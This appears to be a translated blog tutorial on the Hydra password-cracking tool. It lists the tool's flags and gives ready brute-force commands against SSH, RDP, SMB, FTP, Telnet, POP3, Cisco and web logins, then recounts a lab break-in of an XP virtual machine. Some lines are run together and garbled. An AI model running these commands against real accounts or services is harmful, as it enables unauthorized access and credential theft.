How to use Hydra
Detailed parameter explanation:
-R Continue to crack according to the previous progress
-S Use SSL protocol to connect
-s Specify port
-l Specify username
-L Specify username dictionary (file)
-p Specify password cracking
-P Specify password dictionary (file)
-e Null password detection and specified user password detection (ns)
-C User name can be split (username:password) can replace -l username -p password
-o output file
-t specifies the number of multi-threads, the default is 16 threads
-vV Display detailed process server target IP service designated service name (telnet ftp pop3 mssql mysql ssh ssh2…)Use Cases:
Use hydra to crack the ssh password hydra -L users.txt -P password.txt -vV -o ssh.log -e
ns IP ssh破解https: hydra -m /index.php -l username -P pass.txt IP https
Cracking teamspeak:
#hydra -l username-P password dictionary-s port number-vV ip teamspeakCrack cisco: hydra -P pass.txt IP cisco hydra -m cloud -P pass.txt
10.36.16.18 cisco-enable crack smb: hydra -l administrator -P pass.txt IP smb crack pop3: hydra -l muts -P pass .txt my.pop3.mail pop3 Crack rdp: hydra
IP rdp -l administrator -P pass.txt -V Crack http-proxy: hydra -l admin -P
pass.txt http-proxy://10.36.16.18Crack telnet hydra IP telnet -l user -P password dictionary -t 32 -s 23 -e ns -f -V
Crack ftp: hydra IP ftp -l username -P password dictionary -t thread (default 16) -vV hydra IP ftp -l username
-P password dictionary -e ns -vV get to submit, crack web login: hydra -l Username-p password dictionary-t thread-vV -e ns IP http-get /admin/ hydra -l username-p password dictionary-t thread-vV -e ns -f IP
http-get /admin/index.php
The above is reproduced from https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html
Implement a small experiment with Hydra
Experimental tools: virtual machine XP system, Win7 system
1. Put the Hydra-7.3 folder in the win7 system
2. Open the Hydra folder to create a txt file and fill in the alphanumeric characters at will, but leave a real password
3. Use Hydra blasted to
obtain user password
3. Connected to the C drive of the XP system and
finally succeeded